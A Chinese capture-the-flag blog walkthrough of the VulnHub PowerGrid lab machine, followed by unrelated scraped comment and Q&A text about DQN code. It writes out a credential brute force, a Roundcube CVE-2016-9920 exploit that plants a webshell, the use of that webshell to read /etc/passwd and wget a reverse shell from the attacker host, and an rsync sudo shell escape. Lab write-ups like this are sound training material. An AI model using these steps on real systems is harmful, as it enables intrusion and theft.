实战打靶集锦-029-PowerGrid

靶机地址:https://download.vulnhub.com/powergrid/PowerGrid-1.0.1.ova


1. 主机发现

目前只知道目标靶机在232.xx网段,通过如下的命令,看看这个网段上在线的主机。

$ nmap -sP 192.168.232.0/24

在这里插入图片描述
锁定目标地址为161。

2. 端口枚举

通过下面的命令,枚举一下目标的端口。

$ sudo nmap -p 1-100 192.168.232.161
$ sudo nmap -p 101-1000 192.168.232.161
$ sudo nmap -p 1001-65535 192.168.232.161

在这里插入图片描述
开了三个端口。

3. 服务枚举

通过下面的命令,枚举一下端口上运行的服务。

$ sudo nmap -A -p80,143,993 -sV -sT 192.168.232.161

在这里插入图片描述

4. 服务探查

逐个服务探查一下看看吧。

4.1 探查80端口

直接通过浏览器先手工访问一下看看。
在这里插入图片描述
一幅图片,嵌入一个倒计时的时钟(后来发现这个是倒计时,3小时后靶机自动关机),其它也没看出啥,直接枚举一下目录。

$ dirsearch -u http://192.168.232.161/

在这里插入图片描述
还是发现了一些让人感兴趣的内容,再用gobuster枚举一下试试看。

$ gobuster dir -u http://192.168.232.161 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

在这里插入图片描述
多扫描出来一个zmail目录,但是是401。手工看一下扫出来的内容。
在这里插入图片描述
Login页面是一段话,跟首页的内容一致,其它没有特殊内容发现,用bing翻译了一下,还听好玩儿的,如下图。
在这里插入图片描述
通过前面刚学的403bypasser试试看/server-status目录。

$ python3 ../403bypasser/403bypasser.py -u http://192.168.232.161 -d /server-status

在这里插入图片描述
修改一下请求头试试看。
在这里插入图片描述
看来403bypasser工具不是很准确,不管怎么修改,仍然返回403,还是看一下zmail目录下面吧。
在这里插入图片描述
需要用户名密码,随便输入看一下。
在这里插入图片描述
用户名密码经过base64编码以后,临时先跳过,后面有需要的时候再回来爆破。

4.2 探查Dovecot imap服务

先搜索一下这个Dovecot imapd是个什么东西,这应该是一个名为Dovecot的安全imap服务,并且143端口和993端口是有些区别的,143是未加密端口,993是安全端口,如下图。
在这里插入图片描述
先获取一下banner信息试试看。

$ nc -nv 192.168.232.161 143

在这里插入图片描述

$ openssl s_client -connect 192.168.232.161:993 -quiet

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
从网上搜索了一下,用了各种可能的办法,都没进展,再回去从页面开始扒拉一遍,不行就放弃了。
在这里插入图片描述
真是不看不知道,发现前面漏掉了一个巨大的线索,deez1、p48、all2应该是三个成员,均来自于Cymru1 Hacking Team,如上图所示。再结合之前咱们发现的/zmail页面的登录窗口,极有可能就是这三个用户中的一个,分别爆破一下看看。这里用了之前我比较生疏的手法,所以描述的稍微细了一点,熟悉的掠过。

4.2.1 用户爆破

首先构造一个名为users.txt用户名文件,里面列出上述的三个用户名。
在这里插入图片描述
然后再intruder的payloads设置中,type选择Custom Iterator;在payload setting中的Position选择序号1,通过load按钮加载上面准备好的users.txt文件,如下图所示。
在这里插入图片描述
然后继续在上面的Payload settings界面,Position选择序号2,然后点击中间的clear按钮清除所有内容,然后在下面的Add按钮后面的编辑框中输入英文的冒号,点击Add提交。
在这里插入图片描述
继续在上述的界面中,Position选择序号3,然后clear一下,通过load加载rockyou.txt,如下图(我这里碰到了坑,加载rockyou一直失败,因此切成了两个文件,分别爆破)。

$ wc -l rockyou.txt
$ head -7172196 rockyou.txt > rockyou_01.txt
$ tail -7172196 rockyou.txt > rockyou_02.txt
$ wc -l rockyou_01.txt
$ wc -l rockyou_02.txt

在这里插入图片描述
在这里插入图片描述
然后在下面的Payload processing对话框中,点击add按钮,选在Encode,然后选择Base64-encode,点击OK按钮添加到Payload processing中,如下图。
在这里插入图片描述
然后在地下的Payload encoding中,取消勾选URL-encode的复选框,如下图。
在这里插入图片描述
然后就可以Start Attack了。
在这里插入图片描述
从burp的运行结果来看,有一个请求的返回码跟其它的不一样,不是401,而是301,解码一下base64的字符串看看是啥。

在这里插入图片描述

4.2.2 登录roundcube邮箱

看来p48用户可以登录,密码是electrico,手工登录一下试试看。
在这里插入图片描述
登录以后,出现了另一个登录界面,如上图,先用同样的账号密码登录试试看。
在这里插入图片描述
同样的用户名密码可以登录成功,还有一封邮件,打开看看。
在这里插入图片描述
邮件内容是一段话,加上一个当前用户的PGP密钥加密的内容,按照邮件内容来看,这个加密的内容是ssh到服务的密钥。所以,现在关键点变成了寻找当前用户的PGP密钥。经过在当前web邮箱中一番搜索,找到了web邮箱的版本信息,如下图。
在这里插入图片描述

4.2.3 roundcube 1.2.1远程代码执行漏洞利用

搜索了一下,据说这个版本有个远程代码执行漏洞,searchsploit可以搜到,如下图。
在这里插入图片描述
但是我在尝试发送邮件的时候一直没有成功,并且现在也不知道目标靶机站点的根目录。直接上网看看能不能找到现成的漏洞利用工具吧。结果在Git上找到了对应的EXP(https://github.com/t0kx/exploit-CVE-2016-9920),直接脚本执行的方式,比之前通过burp方便多了,弄下来试试看。

$ git clone https://github.com/t0kx/exploit-CVE-2016-9920.git
$ cd exploit-CVE-2016-9920
$ ./exploit.py --host 192.168.232.162 --user p48 --pwd electrico --path roundcube --www_path "/var/www/html/roundcube"

在这里插入图片描述
尝试了各种目录,都是错误的,回过头来看看exp脚本,修改一下收件人和发件人的地址试试看,如下图。
在这里插入图片描述
还是报同样的错误,本次打靶以失败告终。参照了一下大神们的打靶过程(https://blog.csdn.net/qq_43884092/article/details/128975323),还是我执行脚本的时候有问题(其实也不怪我,readme写的不太明确),改成如下的命令,执行成功,需要在主机地址前面添加上”username:passwd@”,在本例子中应该是“p48:electrico@”。

$ ./exploit.py --host p48:electrico@192.168.232.162 --user p48 --pwd electrico --path /zmail --www_path "/var/www/html/zmail/"

在这里插入图片描述
然后访问一下地址http://192.168.232.162/zmail/backdoor.php看看,如下图。
在这里插入图片描述
修改命令为反弹shell,如下图。
在这里插入图片描述
修改一下远程文件的名称为backdoor001.php,试一下。
在这里插入图片描述
本地建立监听,然后访问一下backdoor001.php,试一下
在这里插入图片描述
没有建立反弹shell,不过偶然间发现了更加牛逼的内容。 第一次成功执行EXP之后,打开的/zmail/backdoor.php页面本身就是个webshell,想执行啥,直接在后面坠上命令即可。

http://192.168.232.162/zmail/backdoor.php?cmd=cat%20/etc/passwd

在这里插入图片描述
这就好办了,直接看看能不能wget本地带有反弹shell的php脚本。

http://192.168.232.162/zmail/backdoor.php?cmd=wget%20http://192.168.232.129:8000/revers.php

在这里插入图片描述
从执行结果来看,应该是下载了,还下载了很多次。

4.2.4 突破边界

直接建立监听,然后访问一下下载到根目录的反弹shell试试看。
在这里插入图片描述
反弹shell建立成功。

5. 提权

先优化一下shell。

$ /usr/bin/python3.7 -c "import pty;pty.spawn('/bin/bash')"

直接用linpeas.sh跑一下试试。

www-data@powergrid:/tmp$ chmod u+x linpeas.sh
www-data@powergrid:/tmp$ sh linpeas.sh

在这里插入图片描述
感觉除了上述CVE漏洞,其它没有找到太合适的。

5.1 CVE-2019-13272漏洞利用

看一下操作系统信息,然后尝试用这个漏洞提权。
在这里插入图片描述
64位的debian 10,内核版本位4.19.118,在debian 10环境下编译EXP。

$ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root

上传编译后的文件到目标靶机执行。

www-data@powergrid:/tmp$ chmod u+x ptrace_traceme_root
www-data@powergrid:/tmp$ ./ptrace_traceme_root

在这里插入图片描述
额,看来linpeas的highly probable也是不可信的啊,这条路行不通,继续找其它的。
在linpeas输出中还看到了p48用户,看看是否可以切换到这个用户。

5.2 登录p48用户

在这里插入图片描述
哈,成功进入p48用户,密码就是之前爆破出来的electrico。在当前用户下再执行一下linpeas脚本。
在这里插入图片描述
貌似再p48目录下有个gpg的密钥,这跟我们之前发现的邮件内容有点吻合,密文是用gpg的密钥加密的ssh密钥。在线解密一下(我用的这个网站:https://pgptool.org/),如下图。
在这里插入图片描述
把解密后的内容拷贝出来,保存。不过现在还不知道这个openssh key怎么使用,总不可能是直接root用这个密钥登录,因为靶机没有开放22端口,还是再回头看一下邮件的内容。
原文邮件内容提到有一个备份服务器,但是需要扫描本地IP然后使用这个密钥登录。
在这里插入图片描述

5.3 内网扫描

先看一下靶机本地的IP地址看看,因为我么不需要nmap之类的进行局域网扫描,就这一个靶机。
在这里插入图片描述
貌似起了docker,还真是有个地址。把刚才的openssh密钥保存到p48用户的.ssh/id_rsa文件中,尝试用p48登录一下试试。

p48@powergrid:~/.ssh$ mv openssh_key.txt id_rsa
p48@powergrid:~/.ssh$ ssh p48@172.17.0.1 -i id_rsa

在这里插入图片描述
感觉还是在原来的机器上,不过这个输出对我们有些启发,p48@172.17.0.1,那是不是有可能存在172.17.0.2?想办法扫描一下这个网段看看。靶机上没有fping命令,那就只能用ping命令逐个试试了。
在这里插入图片描述
看来这里面涉及两个IP地址,172.17.0.1和172.17.0.2,其中第一个是当前进入的目标靶机。用p48用户和刚才的openssh key登录172.17.0.2试试看。

p48@powergrid:~/.ssh$ chmod 600 id_rsa
p48@powergrid:~/.ssh$ ssh p48@172.17.0.2 -i id_rsa

在这里插入图片描述
还真是能够登录到另一个地址里面。不过进入到这第二个机器,跟提权貌似关系不大啊,既然已经进来了,就在这个机器上运行一下linpeas看看。

p48@ef117d7a978f:~$ scp p48@172.17.0.1:/home/p48/linpeas.sh ./linpeas.sh
p48@ef117d7a978f:~$ chmod u+x linpeas.sh
p48@ef117d7a978f:~$ sh linpeas.sh

在这里插入图片描述

5.4 /usr/bin/rsync提权

有个/usr/bin/rsync可以直接不需要密码通过sudo执行,不过目前还不知道这个怎么用,看看GTFOBins网站(https://gtfobins.github.io/)上有没有。
在这里插入图片描述
还真有(底下的),但是还是不太明白,127.0.0.1那还是172.0.0.2本地折腾啊,跟原来的那个172.17.0.0.1没关系啊。先不管了,试试看。

p48@ef117d7a978f:~$ sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null

在这里插入图片描述
确实貌似变成root了,不过我坚信在172.17.0.2的机器上,试试看。
在这里插入图片描述
确实还在172.17.0.2的机器上面,既然进来了,看看这个机器上有没有其它可用的内容吧。

5.5 ssh到powergrid主机

在这里插入图片描述
发现/root/.ssh目录下有一对密钥,看样子基本是铁定的ssh用的密钥,但是不知道是哪个机器的,目前来看就俩机器,应该是172.17.0.1的,试试看吧。
在这里插入图片描述
试了两次,得到了结果,直接用root用户ssh到172.17.0.1上面,就获取了最高权限。这个机器太折腾了,是目前发现的最变态的靶机。

6. 获取flag

在这里插入图片描述

  • 18
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
首先,你需要安装gym-power-grid环境,它是一个OpenAI Gym接口的电力系统仿真器。你可以使用以下命令安装: ``` pip install gym-power-grid ``` 接着,你需要安装其他依赖项,包括tensorflow、keras等。你可以使用以下命令安装: ``` pip install tensorflow keras numpy matplotlib ``` 然后,你需要下载IEEE 30节点系统的数据集。你可以从以下链接下载: https://github.com/Suyi32/Learning-to-Run-Forecasting-and-Resilience-Analysis-of-Power-Systems/tree/master/IEEE30 在下载完数据集后,你可以使用以下代码来运行DQN算法: ```python import gym import gym_power_grid from keras.models import Sequential from keras.layers import Dense from keras.optimizers import Adam import numpy as np # 构建DQN模型 def build_model(input_shape, num_actions): model = Sequential() model.add(Dense(32, activation='relu', input_shape=input_shape)) model.add(Dense(32, activation='relu')) model.add(Dense(num_actions, activation='linear')) model.compile(loss='mse', optimizer=Adam()) return model # DQN算法 def dqn(env, model, episodes): # 定义超参数 gamma = 0.95 epsilon = 1.0 epsilon_min = 0.01 epsilon_decay = 0.995 batch_size = 32 memory = [] max_memory_size = 1000 steps = 0 # 进行多次迭代 for episode in range(episodes): state = env.reset() state = np.reshape(state, [1, -1]) done = False total_reward = 0 while not done: # 选择动作 if np.random.rand() <= epsilon: action = env.action_space.sample() else: action = np.argmax(model.predict(state)) # 执行动作 next_state, reward, done, info = env.step(action) next_state = np.reshape(next_state, [1, -1]) total_reward += reward # 存储记忆 memory.append((state, action, reward, next_state, done)) if len(memory) > max_memory_size: memory.pop(0) # 训练模型 if len(memory) >= batch_size: minibatch = np.array(memory[-batch_size:]) X = np.empty((0, env.observation_space.shape[0])) Y = np.empty((0, env.action_space.n)) for state, action, reward, next_state, done in minibatch: target = reward if not done: target = reward + gamma * np.amax(model.predict(next_state)[0]) q_values = model.predict(state) q_values[0][action] = target X = np.vstack([X, state]) Y = np.vstack([Y, q_values]) model.fit(X, Y, epochs=1, verbose=0) state = next_state steps += 1 # 更新epsilon if epsilon > epsilon_min: epsilon *= epsilon_decay print("Episode: {}, Steps: {}, Total Reward: {}".format(episode, steps, total_reward)) # 运行DQN算法 env = gym.make("PowerGrid30-v0") model = build_model(env.observation_space.shape, env.action_space.n) dqn(env, model, 100) ``` 在这个代码中,我们首先定义了一个`build_model`函数,用于构建DQN模型。然后,我们定义了一个`dqn`函数,用于实现DQN算法。最后,我们使用`gym.make`函数创建了一个名为"PowerGrid30-v0"的gym环境,并使用`build_model`和`dqn`函数运行DQN算法。 请注意,由于IEEE 30节点系统是一个非常复杂的系统,这个代码可能需要较长的时间来运行。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值